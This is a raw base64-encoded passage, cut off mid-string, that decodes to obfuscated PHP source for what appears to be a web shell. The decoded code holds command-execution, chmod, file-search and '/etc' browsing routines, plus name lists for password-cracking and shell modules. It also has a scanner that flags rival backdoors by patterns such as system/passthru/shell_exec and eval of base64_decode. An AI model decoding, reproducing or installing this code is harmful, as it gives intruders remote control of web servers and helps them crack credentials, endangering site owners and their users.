ZHUnBjM0JzWVhselpXTnBibVp2S0NSdVlXMWxMQ1IyWVd4MVpTbDhmR1J2YzNsaGVXbGpaV3NvSkd4cGJtc3NKR1pwYkdVcGZIeEZUbFZOUlZKQlZFVW9LWHg4WlhKeUtDUnVMQ1IwZUhROUp5Y3BmSHhsY25Jb0tYeDhaWGdvSkdObVpTbDhmR1Y0S0NSalptVXBmSHhtYzE5amIzQjVYMlJwY2lna1pDd2tkQ2w4ZkdaelgyTnZjSGxmYjJKcUtDUmtMQ1IwS1h4OFpuTmZiVzkyWlY5a2FYSW9KR1FzSkhRcGZIeG1jMTl0YjNabFgyOWlhaWdrWkN3a2RDbDhmR1p6WDNKdFpHbHlLQ1JrS1h4OFpuTmZjbTF2WW1vb0pHOHBmSHhuWlhSdGFXTnliM1JwYldVb0tYeDhiSE5mY21WMlpYSnpaVjloYkd3b0tYeDhiSE5mYzJWMFkyaGxZMnRpYjNoaGJHd29jM1JoZEhWektYeDhiWGx6YUdWc2JHVjRaV01vSkdOdFpDbDhmRzE1YzJobGJHeGxlR1ZqS0NSamJXUXBmSHh0ZVhOb1pXeHNaWGhsWXlna1kyOXRiV0Z1WkNsOGZHMTVjM0ZzWDJOeVpXRjBaVjlrWWlna1pHSXNKSE52WTJzOUlpSXBmSHh0ZVhOeGJGOWtkVzF3S0NSelpYUXBmSHh0ZVhOeGJGOW1aWFJqYUY5aGJHd29KSEYxWlhKNUxDUnpiMk5yS1h4OGJYbHpjV3hmY1hWbGNubGZabTl5YlNncGZIeHRlWE54YkY5eGRXVnllVjl3WVhKelpTZ2tjWFZsY25rcGZIeHRlWE54YkY5emJXRnlkR1Z5Y205eUtDUjBlWEJsTENSemIyTnJLWHg4YjI1d2FIQnphSFYwWkc5M2JpZ3BmSHh3WVhKelpYTnZjblFvSkhOdmNuUXBmSHh3WVhKelpWOXdaWEp0Y3lna2JXOWtaU2w4ZkhCdmMybDRYMmRsZEdkeVoybGtLQ1JuYVdRcGZIeHdiM05wZUY5blpYUndkM1ZwWkNna2RXbGtLWHg4Y0c5emFYaGZhMmxzYkNna1oybGtLWHg4Y25OblgyZHNiMklvS1h4OGNuTm5YM0psWVdRb0tYeDhjMlZzWmxWU1RDZ3BmSHh6WlhSZlpXNWpiMlJsY2w5cGJuQjFkQ2gwWlhoMEtYeDhjM1J5TW0xcGJta29KR052Ym5SbGJuUXNKR3hsYmlsOGZITjBjbWx3Y3lnbUpHRnljaXdrYXowaUlpbDhmSFJoWW5OdmNuUW9KR0VzSkdJcGZIeDJhV1YzWDNCbGNtMXpLQ1J0YjJSbEtYeDhkbWxsZDE5d1pYSnRjMTlqYjJ4dmNpZ2tieWw4ZkhacFpYZGZjMmw2WlNna2MybDZaU2w4Zkhkb2FXTm9LQ1J3Y2lsOGZIZG9hV05vS0NSd2Npaz0iKSksICJqYWNrYWwiPT5AZXhwbG9kZSgifHwiLEBiYXNlNjRfZGVjb2RlKCJZWFYwYUdOeVlXTnJaVklvS1h4OFluSnphR1ZzVENncGZIeGpZV3hES0NsOGZHTm9aV05yYzIxMFVDZ2thRzl6ZEN3a2RHbHRaVzkxZENsOGZHTm9aV05yYzNWTktDUm1hV3hsS1h4OFkyaGxZMnQwYUdsemNHOXlWQ2drYVhBc0pIQnZjblFzSkhScGJXVnZkWFFzSkhSNWNHVTlNQ2w4ZkdOb1pXTnJYM1Z5VENna2RYSnNMQ1J0WlhSb2IyUXNKSE5sWVhKamFDd2tkR2x0Wlc5MWRDbDhmR055WVdOclpWSW9LWHg4WkdsamJXRnJaVklvS1h4OFpHOTNibXh2WVdScFZDZ2taMlYwTENSd2RYUXBmSHhsWkdsMGIxSW9KR1pwYkdVcGZIeG1hV3hsYldGdVlXZGxjaWdwZkh4bWJIVnphR1ZTS0NsOGZHWnZjbTFqY21GamEyVlNLQ2w4ZkdaMGNHTnlZV05yWlZJb0tYeDhaMlYwWDNOM1gyNWhiVVVvSkdodmMzUXNKSFJwYldWdmRYUXBmSHhvWVhOb1kzSmhZMnRsVWlncGZIeG9aWGgyYVdWWEtDbDhmR2hzYVc1TEtDUnpkSEk5SWlJcGZIeHBiV0Z3WTNKaFkydGxVaWdwZkh4cGJXRndiRzluYVU0b0pHaHZjM1FzSkhWelpYSnVZVzFsTENSd1lYTnpkMjl5WkNsOGZHeHBjM1JrYVZJb0pHTjNaQ3drZEdGemF5bDhmR3h2WjI5MVZDZ3BmSHh0WVdsc1pWSW9LWHg4YlhsemNXeGpiR2xsYmxRb0tYeDhiM0JsYm1sVUtDUnVZVzFsS1h4OGNHOXdNMk55WVdOclpWSW9LWHg4Y0c5d00yeHZaMmxPS0NSelpYSjJaWElzSkhWelpYSXNKSEJoYzNNcGZIeHdjakI0ZVNncGZIeHpZV1psYlc5a1JTZ3BmSHh6YUdWc1RDZ2tZMjl0YldGdVpDbDhmSE5vYjNkcGJXRm5SU2drYVcxbktYeDhjMmh2ZDNOcGVrVW9KSE5wZW1VcGZIeHpiWFJ3WTNKaFkydGxVaWdwZkh4emJYUndiRzluYVU0b0pHRmtaSElzSkhWelpYSXNKSEJoYzNNc0pIUnBiV1Z2ZFhRcGZIeHpibTF3WTJobFkwc29KR2x3TENSamIyMHNKSFJwYldWdmRYUXBmSHh6Ym0xd1kzSmhZMnRsVWlncGZIeHpjV3hqY21GamEyVlNLQ2w4ZkhOMGNsOXlaWEJsWVhRb0pITjBjaXdrWXlsOGZITjVjMmx1Wms4b0tYeDhkMlZpYzJobGJFd29LWHg4ZDJobGNtVnBjM1J0VUNncGZIeDNhRzlwVXlncCIpKSwgIlN5UmlBbiI9PkBleHBsb2RlKCJ8fCIsQGJhc2U2NF9kZWNvZGUoIlFXSnZkWFFvS1h4OFkyaGxZMnRtZFc1amRHbHZUaWdrWm5WdVl5bDhmR052YlhOb1pXeE1LQ1JqYjIxdFlXNWtMQ1IzY3lsOGZHTndZVzVsYkY5amFHVmpheWdrYUc5emRDd2tkWE5sY2l3a2NHRnpjeXdrZEdsdFpXOTFkQ2w4ZkVOVFV5Z2tjMmhsYkd4RGIyeHZjaWw4ZkVOMWNtd29LWHg4WTNWeWNtVnVkRVpwYkdWT1lXMWxLQ2w4ZkVSbFkzSjVjSFJEYjI1bWFXY29LWHg4UkdsellXSnNaVVoxYm1OMGFXOXVjeWdwZkh4RmVHVW9KR052YlcxaGJtUXBmSHhtWm1semFHVnNUQ2drWTI5dGJXRnVaQ2w4ZkdadmIzUmxjaWdwZkh4bWRIQmZZMmhsWTJzb0pHaHZjM1FzSkhWelpYSXNKSEJoYzNNc0pIUnBiV1Z2ZFhRcGZIeEhaVzVsY21GMFpVWnBiR1VvSkc1aGJXVXNKR052Ym5SbGJuUXBmSHhIWlhSU1pXRnNTVkFvS1h4OFoyVjBYM0JoYzNNb0pHeHBibXNwZkh4SGVtbHdLQ2w4ZkVoaGNtUlRhWHBsS0NSemFYcGxLWHg4YVc1d2RYUW9KSFI1Y0dVc0pHNWhiV1VzSkhaaGJIVmxMQ1J6YVhwbEtYeDhURzluYjNWMEtDbDhmRzFoWjJsalVXOTFkSE1vS1h4OFRWTlJUQ2dwZkh4TmMxTlJUQ2dwZkh4TmVWTlJURElvS1h4OFRYbHpjV3hKS0NsOGZHOXdaVzVDWVhObFJHbHlLQ2w4ZkU5eVlXTnNaU2dwZkh4d1pYSnNjMmhsYkV3b0pHTnZiVzFoYm1RcGZIeFFiM04wWjNKbFUxRk1LQ2w4ZkhKbFlXUmZaR2x5S0NSd1lYUm9MQ1IxYzJWeWJtRnRaU2w4ZkZKbFoybHpkR1Z5UjJ4dlltRnNjeWdwZkh4eWIyOTBlSEJNS0NsOGZGTmhabVZOYjJSbEtDbDhmRk5sYkdWamRFTnZiVzFoYm1Rb0pHOXpLWHg4YzJodmQxVnpaWEp6S0NsOGZGTlJiRXhwZEdVb0tYeDhjM0oyYzJobGJFd29KR052YlcxaGJtUXBmSHh6ZEhKZmFHVjRLQ1J6ZEhKcGJtY3BmSHhUZFdsamFXUmxLQ2w4ZkhSMWJHbHpLQ1JtYVd4bExDUjBaWGgwS1h4OGRYQmtZWFJsS0NsOGZIZG9aWEpsYVhOMGJWQW9LWHg4ZDJocFkyZ29KSEJ5S1h4OGQybHVjMmhsYkV3b0pHTnZiVzFoYm1RcCIpKSwgKTsgJGNvbnRlbnQ9ejlvKCRmaWxlKTsgaWYoISRjb250ZW50KSByZXR1cm4gZmFsc2U7ICRjbGVhbmN0PUBwcmVnX3JlcGxhY2UoJy9bXHNcdFxyXG5cdl0vJywnJywkY29udGVudCk7IGZvcmVhY2goJGtub3duZnVuYyBhcyAkdHlwZT0+JGZ1bmNzKXsgJHNjb3JlPTA7ICRjb3VudD1AY291bnQoJGZ1bmNzKTsgJG1pbj1Acm91bmQoJGNvdW50KjAuNzUpOyBmb3JlYWNoKCRmdW5jcyBhcyAkZnVuYyl7IGlmKEBzdHJzdHIoJGNsZWFuY3QsJGZ1bmMpKSAkc2NvcmUrKzsgfSAkZm91bmRwPUByb3VuZCgoJHNjb3JlLyRjb3VudCkqMTAwKTsgaWYoJHNjb3JlPj0kbWluKXsgaWYoJHJlcGxhY2UpICRyZXBsYWNlZD0iIDogIi4oejJ3KCRmaWxlKT96OXkoIjI5MCIpOno5eSgiMjkxIikpOyByZXR1cm4gKCRmb3VuZHA9PTEwMD8kdHlwZS4kcmVwbGFjZWQ6JHR5cGUuIiAoIi4kZm91bmRwLiIlKSIuJHJlcGxhY2VkKTsgfSB9IGlmKCRwb3NzaWJsZSl7IGlmKChAcHJlZ19tYXRjaCgnLycuQGJhc2U2NF9kZWNvZGUoIktITjVjM1JsYlh4d1lYTnpkR2h5ZFh4emFHVnNiRjlsZUdWamZIQnZjR1Z1ZkhCeWIyTmZiM0JsYmlrdWV6QXNNVEI5IikuJy9pJywgJGNvbnRlbnQpICYmIEBwcmVnX21hdGNoKCcvJy5AYmFzZTY0X2RlY29kZSgiWW1GamExOWpiMjV1WldOMGZHSmhZMnRrYjI5eWZISTFOM3hRU0ZCS1lXTnJZV3g4VUdod1UzQjVmRWRwV0h4R2VESTVVMmhsVEV4OGR6UmphekZ1WjN4dGFXeDNNSEp0ZkZCb2NGTm9aV3hzZkdzeGNqUjhSbVZsVEVOdlRYcDhSbUZVWVV4cGMxUnBRM3A4Vm1WZlkwVk9lRk5vWld4c2ZGVnVhWGhQYm54RE9UbHRZV1JUYUdWc2JIeFRjR0Z0Wm05eVpIcDhURzlqZFhNM2MzeGpNVEF3ZkdNNU9YeDRNak13TUh4aloybDBaV3h1WlhSOGQyVmlZV1J0YVc1OFUxUlZUbE5JUlV4TWZGQnlJWFk0ZkZCSVVGTm9aV3hzZkV0aFRXVk1aVTl1ZkZNMFZIeHZVbUo4ZEhKNVlXZDhibTlsZUdWamMyaGxiR3g4WEM5bGRHTmNMM0JoYzNOM1pIeHlaWFpsYm1kaGJuTT0iKS4nLycsJGNvbnRlbnQpKSB8fCBAcHJlZ19tYXRjaCgnLycuQGJhc2U2NF9kZWNvZGUoIlpYWmhiQzU3TUN3eE1IMWlZWE5sTmpSZlpHVmpiMlJsIikuJy9pJywkY29udGVudCkpeyBpZigkcmVwbGFjZSkgJHJlcGxhY2VkPSh6MncoJGZpbGUpPyIgOiAiLno5eSgiMjkwIik6IiA6ICIuejl5KCIyOTEiKSk7IHJldHVybiAiUG9zc2libGUgYmFja2Rvb3IiLiRyZXBsYWNlZDsgfSB9IHJldHVybiBmYWxzZTsgfSBmdW5jdGlvbiB6MHMoJGksJHQsJGgsJGEpeyAkcj16MTB3KHo3dSh6NmwoJzxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/IiBvbnN1Ym1pdD0icmV0dXJuIGNoa2ZybShcJycuJGkuJ1wnLFwnJy4kdC4nXCcpOyI+Jy4nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJy4kdC4nIiBpZD0iJy4kdC4nIj4nLiRoLno4bSh6OXkoIjYzIiksJ2Noa2FsbChcJycuJGkuJ1wnLHRydWUpOycsICc3JykuejhtKHo5eSgiNjQiKSwnY2hrYWxsKFwnJy4kaS4nXCcsZmFsc2UpOycsICc3JykuejhtKHo5eSgiNjUiKSwnaW52YWxsKFwnJy4kaS4nXCcpOycsICc3JykuejNtKCdhY3Rpb24nLCRhLCc0JykuejhiKHo5eSgiNzciKSwnNycpLic8L2Zvcm0+JywnMTEnKSksJzInKTsgcmV0dXJuICI8c2NyaXB0IHR5cGU9XCJ0ZXh0L2phdmFzY3JpcHRcIj5kb2N1bWVudC53cml0ZSgnIi5Ac3RyX3JlcGxhY2UoIiciLCJcXCciLEBzdHJfcmVwbGFjZSgiXG4iLCIiLCRyKSkuIicpOzwvc2NyaXB0PiI7IH0gZnVuY3Rpb24gejRuKCRmLCRpLCRpZD0nJyl7IHJldHVybiAnPHNjcmlwdD5kb2N1bWVudC53cml0ZShcJzxpbnB1dCB0eXBlPSJjaGVja2JveCIgaWQ9IicuJGlkLidjaGsiIG5hbWU9IicuJGkuJyIgdmFsdWU9IicuJGYuJyIgb25jbGljaz0iY2hhbmdldHIodGhpcy5pZC5yZXBsYWNlKFxcXCdjaGtcXFwnLFxcXCdcXFwnKSwgdGhpcy5jaGVja2VkKTsiIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOyI+XCcpOzwvc2NyaXB0Pic7IH0gZnVuY3Rpb24gejF6KCl7IHJldHVybiAiPHNjcmlwdCB0eXBlPVwidGV4dC9qYXZhc2NyaXB0XCI+ZnVuY3Rpb24gZm5jX3JlcGxhY2UoaWRULGlkQSxpZEIpeyB2YXIgc3RyVD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZFQpLnZhbHVlOyB2YXIgc3RyQT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZEEpLnZhbHVlOyB2YXIgc3RyQj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZEIpLnZhbHVlOyBpZihzdHJBICE9JycgJiYgc3RyVC5pbmRleE9mKHN0ckEpIT0tMSl7IHZhciByZXBSZWdleD1uZXcgUmVnRXhwKHN0ckEuZXNjUigpLCAnZycpOyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZFQpLnZhbHVlPXN0clQucmVwbGFjZShyZXBSZWdleCwgc3RyQik7fTt9OyBTdHJpbmcucHJvdG90eXBlLmVzY1I9ZnVuY3Rpb24oKXsgdmFyIHNDaGFycz1bICckJywgJ14nLCAnKicsICcoJywgJyknLCAnKycsICdbJywgJ10nLCAneycsICd9JywgJ1xcXFwnLCAnfCcsICcuJywgJz8nLCAnLycgXTsgdmFyIHJlZ2V4PW5ldyBSZWdFeHAoJyhcXFxcJyArIHNDaGFycy5qb2luKCd8XFxcXCcpICsgJyknLCAnZycpOyByZXR1cm4gdGhpcy5yZXBsYWNlKHJlZ2V4LCAnXFxcXCQxJyk7fTwvc2NyaXB0PiI7IH0gZnVuY3Rpb24gejNiKCl7IHJldHVybiAnPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KaWYoIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKXsgaWYoZG9jdW1lbnQuYWxsKXsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQ9ZnVuY3Rpb24oKXsgaWYodHlwZW9mIGRvY3VtZW50LmFsbFthcmd1bWVudHNbMF1dIT0idW5kZWZpbmVkIil7IHJldHVybiBkb2N1bWVudC5hbGxbYXJndW1lbnRzWzBdXTsgfSBlbHNlIHsgcmV0dXJuIG51bGw7IH07fTt9IGVsc2UgaWYoZG9jdW1lbnQubGF5ZXJzKXsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQ9ZnVuY3Rpb24oKXsgaWYodHlwZW9mIGRvY3VtZW50W2FyZ3VtZW50c1swXV0hPSJ1bmRlZmluZWQiKXsgcmV0dXJuIGRvY3VtZW50W2FyZ3VtZW50c1swXV07IH0gZWxzZSB7IHJldHVybiBudWxsOyB9O307fTt9DQpmdW5jdGlvbiBjaGFuZ2VjbHModHJpZCwgbmV3Y2xzKXsgdHJ5IHsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQodHJpZCkuY2xhc3NOYW1lID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQodHJpZCkuY2xhc3NOYW1lLnJlcGxhY2UoL1thLXpBLVowLTldKy8sbmV3Y2xzKTsgfSBjYXRjaChlcnIpe30gfQ0KZnVuY3Rpb24gY2hhbmdldHIodHJpZCwgdmJvb2wpeyBpZih2Ym9vbCl7IGNoYW5nZWNscyh0cmlkLCJsaXN0MyIpOyB9IGVsc2UgeyBpZih0cmlkLnN1YnN0cigwLDMpID09ICJ0cmEiKXsgY2hhbmdlY2xzKHRyaWQsImxpc3QxIik7IH0gZWxzZSB7IGNoYW5nZWNscyh0cmlkLCJsaXN0MiIpO307fTt9DQpmdW5jdGlvbiBjaGtmcm0oaW5pZCwgaGlkKXsgdmFyIGlucHV0cz1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaW5wdXQiKTt2YXIgaWNoaz1bXTtmb3IodmFyIGk9MDtpPGlucHV0cy5sZW5ndGg7aSsrKXsgaWYoaW5wdXRzW2ldLnR5cGU9PSJjaGVja2JveCImJmlucHV0c1tpXS5uYW1lPT1pbmlkKXsgaWYoaW5wdXRzW2ldLmNoZWNrZWQpeyBpY2hrLnB1c2goaW5wdXRzW2ldLnZhbHVlKTt9O307fTtpZihpY2hrLmxlbmd0aCA+IDApeyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChoaWQpLnZhbHVlID0gaWNoay5qb2luKCJcbiIpOyByZXR1cm4gdHJ1ZTsgfSBlbHNlIHsgcmV0dXJuIGZhbHNlO307fQ0KZnVuY3Rpb24gY2hrYWxsKGluaWQsdmJvb2wpeyB2YXIgaW5wdXRzPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpO2Zvcih2YXIgaT0wO2k8aW5wdXRzLmxlbmd0aDtpKyspeyBpZihpbnB1dHNbaV0udHlwZT09ImNoZWNrYm94IiYmaW5wdXRzW2ldLm5hbWU9PWluaWQpeyBpbnB1dHNbaV0uY2hlY2tlZCA9IHZib29sOyBjaGFuZ2V0cihpbnB1dHNbaV0uaWQucmVwbGFjZShcJ2Noa1wnLCBcJ1wnKSwgdmJvb2wpOyB9O307fQ0KZnVuY3Rpb24gaW52YWxsKGluaWQpeyB2YXIgaW5wdXRzPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpO2Zvcih2YXIgaT0wO2k8aW5wdXRzLmxlbmd0aDtpKyspeyBpZihpbnB1dHNbaV0udHlwZT09ImNoZWNrYm94IiYmaW5wdXRzW2ldLm5hbWU9PWluaWQpeyBpZihpbnB1dHNbaV0uY2hlY2tlZCA9PSB0cnVlKXsgaW5wdXRzW2ldLmNoZWNrZWQgPSBmYWxzZTsgY2hhbmdldHIoaW5wdXRzW2ldLmlkLnJlcGxhY2UoXCdjaGtcJywgXCdcJyksIGZhbHNlKTsgfSBlbHNlIHsgaW5wdXRzW2ldLmNoZWNrZWQgPSB0cnVlOyBjaGFuZ2V0cihpbnB1dHNbaV0uaWQucmVwbGFjZShcJ2Noa1wnLCBcJ1wnKSwgdHJ1ZSk7IH07fTt9O30NCjwvc2NyaXB0Pic7IH0gZnVuY3Rpb24gejNkKCR2YXIsJGYpeyAkdmFsPScnOyBpZighZW1wdHkoJGYpKXsgJHJlZz0nL1wkJy4kdmFyLidccyo9XHMqKFtcJyJdezF9KShbXlwxXHNcdFxyXG5dKylcMVxzKjsvJzsgaWYoQHByZWdfbWF0Y2goJHJlZywgJGYsICRtKSl7ICR2YWw9JG1bMl07IHVuc2V0KCRtKTsgfSB9IHVuc2V0KCRmKTsgcmV0dXJuICR2YWw7IH0gZnVuY3Rpb24gejJvKCR2YXIsJGYpeyAkdmFsPScnOyBpZighZW1wdHkoJGYpKXsgJHJlZz0nLyhbXCciXXsxfSknLiR2YXIuJ1wxW1xzXHRcclxuXSo9Pltcc1x0XHJcbl0qKFtcJyJdezF9KShbXlwyXHNcdFxyXG5dKylcMi8nOyBpZihAcHJlZ19tYXRjaCgkcmVnLCAkZiwgJG0pKXsgJHZhbD0kbVszXTsgdW5zZXQoJG0pOyB9IH0gdW5zZXQoJGYpOyByZXR1cm4gJHZhbDsgfSBmdW5jdGlvbiB6MnUoJHZhciwkZil7ICR2YWw9Jyc7IGlmKCFlbXB0eSgkZikpeyAkcmVnPScvXFsoW1wnIl17MX0pJy4kdmFyLidcMVxdW1xzXHRcclxuXSo9W1xzXHRcclxuXSooW1wnIl17MX0pKFteXDJcc1x0XHJcbl0rKVwyLyc7IGlmKEBwcmVnX21hdGNoKCRyZWcsICRmLCAkbSkpeyAkdmFsPSRtWzNdOyB1bnNldCgkbSk7IH0gfSB1bnNldCgkZik7IHJldHVybiAkdmFsOyB9IGZ1bmN0aW9uIHoxYygkY29uc3QsJGYpeyAkdmFsPScnOyBpZighZW1wdHkoJGYpKXsgJHJlZz0nL2RlZmluZVxzKlwoKFtcJyJdezF9KScuJGNvbnN0LidcMVxzKixccyooW1wnIl17MX0pKFteXDJcc1x0XHJcbl0rKVwyXHMqXClccyo7Lyc7IGlmKEBwcmVnX21hdGNoKCRyZWcsICRmLCAkbSkpeyAkdmFsPSRtWzNdOyB1bnNldCgkbSk7IH0gfSB1bnNldCgkZik7IHJldHVybiAkdmFsOyB9IGZ1bmN0aW9uIHo0YigkdHlwZSwkdmFyLCRmKXsgc3dpdGNoKCR0eXBlKXsgY2FzZSAndmFyJzogcmV0dXJuIHozZCgkdmFyLCRmKTsgYnJlYWs7IGNhc2UgJ2NvbnN0JzogcmV0dXJuIHoxYygkdmFyLCRmKTsgYnJlYWs7IGNhc2UgJ2FycmF5dmFyMSc6IHJldHVybiB6Mm8oJHZhciwkZik7IGJyZWFrOyBjYXNlICdhcnJheXZhcjInOiByZXR1cm4gejJ1KCR2YXIsJGYpOyBicmVhazsgZGVmYXVsdDogcmV0dXJuICcnOyB9IH0gZnVuY3Rpb24gejNrKCRzLCR0PTApeyAkcmVnPSdbX2EtekEtWjAtOS1dKyhcLltfYS16QS1aMC05LV0rKSpAW2EtekEtWjAtOS1dKyhcLlthLXpBLVowLTktXSspKlwuKChbMC05XXsxLDN9KXwoW2EtekEtWl17MiwzfSl8KGFlcm98Y29vcHxpbmZvfG11c2V1bXxuYW1lKSknOyBpZigkdCkgcmV0dXJuIEBwcmVnX21hdGNoKCcvXicuJHJlZy4nJC9pJywkcyk7ICRyPWFycmF5KCk7IGlmKEBwcmVnX21hdGNoX2FsbCgnLycuJHJlZy4nL2knLCRzLCRtKSl7IGZvcmVhY2goJG1bMF0gYXMgJGVtKSAkcltdPSRlbTsgfSByZXR1cm4gQGFycmF5X3VuaXF1ZSgkcik7IH0gZnVuY3Rpb24gejBrKCRhLCRzPSIgYW5kIiwkZj1hcnJheSgpKXsgaWYoIUBpc19hcnJheSgkYSkpICRhPWFycmF5KCk7ICRyPSIiOyBmb3JlYWNoKCRhIGFzICRrPT4kdil7ICRwPSIiOyBpZighQGVtcHR5KCRmWyRrXSkpICRwLj0kZlska10uIigiOyAkcC49IiciLmFkZHNsYXNoZXMoJHYpLiInIjsgaWYoIUBlbXB0eSgkZlska10pKSAkcC49IikiOyAkci49ImAiLiRrLiJgID0gIi4kcC4kczsgfSAkcj1Ac3Vic3RyKCRyLDAsQHN0cmxlbigkciktQHN0cmxlbigkcykpOyByZXR1cm4gJHI7IH0gZnVuY3Rpb24gejBjKCRmaWxlLCRnbG9iYWw9MCwkZGlyPTApeyAkbW9kZT1AZmlsZXBlcm1zKCRmaWxlKTsgaWYoJGRpcil7ICRhcnI9KCRnbG9iYWwgPyBhcnJheSgpIDogYXJyYXkoImFjdCIsImQiLCJjdGFyZ2V0Ij0+JGZpbGUsImNobW9kX3N1Ym1pdCI9PiIxIikpOyB9IGVsc2UgeyAkYXJyPSgkZ2xvYmFsID8gYXJyYXkoKSA6IGFycmF5KCJhY3QiLCJkIiwiZiIsImZ0Ij0+ImZ1bmN0aW9ucyIsImN0YXJnZXQiPT4kZmlsZSwiY2htb2Rfc3VibWl0Ij0+IjEiKSk7IH0gaWYoJG1vZGUpeyAkcGVybXM9ejl3KCRtb2RlLDEpOyAkbz1AZGVjb2N0KCRtb2RlKTsgaWYoQHN0cmxlbigkbyk+NCkgJG89QHN1YnN0cigkbywtNCk7IGVjaG8gejNxKCgkZGlyP3o5eSgiMTIzIik6ejl5KCI5MyIpKS56OXgoKS56NHkoJGZpbGUpKTsgZWNobyB6MTB3KCB6N3UoIHo5Yyh6NXgoJGFyciwgejEwdyggejViKCkuIHo3dSh6NXQoejl5KCI5NCIsJycsMSkpLno5Yyh6NXUoImNobW9kX29yIix6OXkoIjk3IiksImNobW9kX29bcl0iLCIxIiwoKCRwZXJtc1sibyJdWyJyIl0pPzE6JycpKS56OXgoNSkuejV1KCJjaG1vZF9vdyIsejl5KCI5OCIpLCJjaG1vZF9vW3ddIiwiMSIsKCgkcGVybXNbIm8iXVsidyJdKT8xOicnKSkuejl4KDUpLno1dSgiY2htb2Rfb3giLHo5eSgiOTkiKSwiY2htb2Rfb1t4XSIsIjEiLCgoJHBlcm1zWyJvIl1bIngiXSk/MTonJykpKS56OWMoejl4KCkpKS4gejd1KHo1dCh6OXkoIjk1IiwnJywxKSkuejljKHo1dSgiY2htb2RfZ3IiLHo5eSgiOTciKSwiY2htb2RfZ1tyXSIsIjEiLCgoJHBlcm1zWyJnIl1bInIiXSk/MTonJykpLno5eCg1KS56NXUoImNobW9kX2d3Iix6OXkoIjk4IiksImNobW9kX2dbd10iLCIxIiwoKCRwZXJtc1siZyJdWyJ3Il0pPzE6JycpKS56OXgoNSkuejV1KCJjaG1vZF9neCIsejl5KCI5OSIpLCJjaG1vZF9nW3hdIiwiMSIsKCgkcGVybXNbImciXVsieCJdKT8xOicnKSkpLno5Yyh6OXgoNSkuejhiKCJDaG1vZCIsIjciKSkpLiB6N3UoejV0KHo5eSgiOTYiLCcnLDEpKS56OWMoejV1KCJjaG1vZF93ciIsejl5KCI5NyIpLCJjaG1vZF93W3JdIiwiMSIsKCgkcGVybXNbInciXVsiciJdKT8xOicnKSkuejl4KDUpLno1dSgiY2htb2Rfd3ciLHo5eSgiOTgiKSwiY2htb2Rfd1t3XSIsIjEiLCgoJHBlcm1zWyJ3Il1bInciXSk/MTonJykpLno5eCg1KS56NXUoImNobW9kX3d4Iix6OXkoIjk5IiksImNobW9kX3dbeF0iLCIxIiwoKCRwZXJtc1sidyJdWyJ4Il0pPzE6JycpKSkuejljKHo5eCgpKSkuIHo1YigpICwiMiIpKSApLno5Yyh6NXgoYXJyYXkoImFjdCIsImQiLCJmIiwiZnQiPT4iZnVuY3Rpb25zIiwiY3RhcmdldCI9PiRmaWxlLCJjaG1vZF9zdWJtaXQiPT4iMSIpLCB6MTB3KCB6N3UoejV0KHo5eSgiMTAxIikpLno5Yyh6NXkoImNobW9kX3ZhbCIsJG8sIjEiKS56OGIoejl5KCIxMDAiKSwiNyIpKSkgLCIyIikpICkgKSApOyB9IH0gZnVuY3Rpb24gejBoKCl7IGdsb2JhbCAkZm91bmQsICRuaXgsICRzaF9leGVjLCRzbiwgJHNuX3JlZywgJHNfaW4sICRzdCwkc3RfcmVnLCRzdF93d28sJHN0X2NzLCRzdF9ub3QsJHNfZmQsJHNfcmVjOyBlY2hvIHozcSh6OXkoIjE0MiIpKS56NnMoKTsgJGFzX2ZkPWFycmF5KCcxJz0+ejl5KCIxNDQiKSwgJzInPT56OXkoIjE0NSIpLCAnJz0+ejl5KCIxNDYiKSk7ICRhX3JlYz1hcnJheSgnJz0+ejl5KCIyMSIpKTsgZm9yKCRpPTA7JGk8MTA7JGkrKykgJGFfcmVjWygkaSsxKV09KCRpKzEpLiIgIi56OXkoIjE0NSIpOyAkYV9yZWNbJ25vJ109ejl5KCIyMiIpOyAkYV9wYXRocz1hcnJheSgnY3dkJz0+J2N3ZCcsJ3N5c3RlbSc9PidzeXN0ZW0nLCdiaW4nPT4nKHMpYmluIGRpcnMnLCdldGMnPT4nL2V0YycpOyBlY2hvIHo1eChhcnJheSgnZCcsJ2FjdCc9PidzZWFyY2gnLCdmdGFyZ2V0Jz0+JzEnKSwgejEwdyggejlkKHo5YyggejEwdyggejd1KHo1dCh6OXkoIjE0MyIpKS56OWMoejZ1KCJzbiIsQGh0bWxzcGVjaWFsY2hhcnMoJHNuKSwnMicpLnozbSgic19mZCIsJGFzX2ZkLCcxJywnMScpLnozbSgic19yZWMiLCRhX3JlYywnMScsJzEnKS56Nm8oInN1Ym1pdCIsIHo5eSgiMTQ3IiksJzcnKS4nICcuejV1KCdzbl9yZWcnLHo5eSgiMTQ4IiksJ3NuX3JlZycpKSkuIHo3dSh6NXQoejl5KCIxNDkiKSkuejljKHo2dSgic19pbiIsaHRtbHNwZWNpYWxjaGFycygkc19pbiksIjkiKSkpICkuIHoxMHcoIHo3dSh6NXQoejl5KCIxNTAiKSkuejljKHo2dSgic3QiLEBodG1sc3BlY2lhbGNoYXJzKCRzdCksIjkiKSkpLiB6N3UoejV0KCIiKS56OWMoejV1KCJzdF9yZWciLHo5eSgiMTUxIiksInN0X3JlZyIpLno5eCgiMyIpLno1dSgic3Rfd3dvIix6OXkoIjE1MiIpLCJzdF93d28iKS56OXgoIjMiKS4gejV1KCJzdF9jcyIsejl5KCIxNTMiKSwic3RfY3MiKS56OXgoIjMiKS56NXUoInN0X25vdCIsejl5KCIxNTQiKSwic3Rfbm90IikpKSApKSkpKTsgZWNobyB6NnMoKTsgaWYoJG5peCAmJ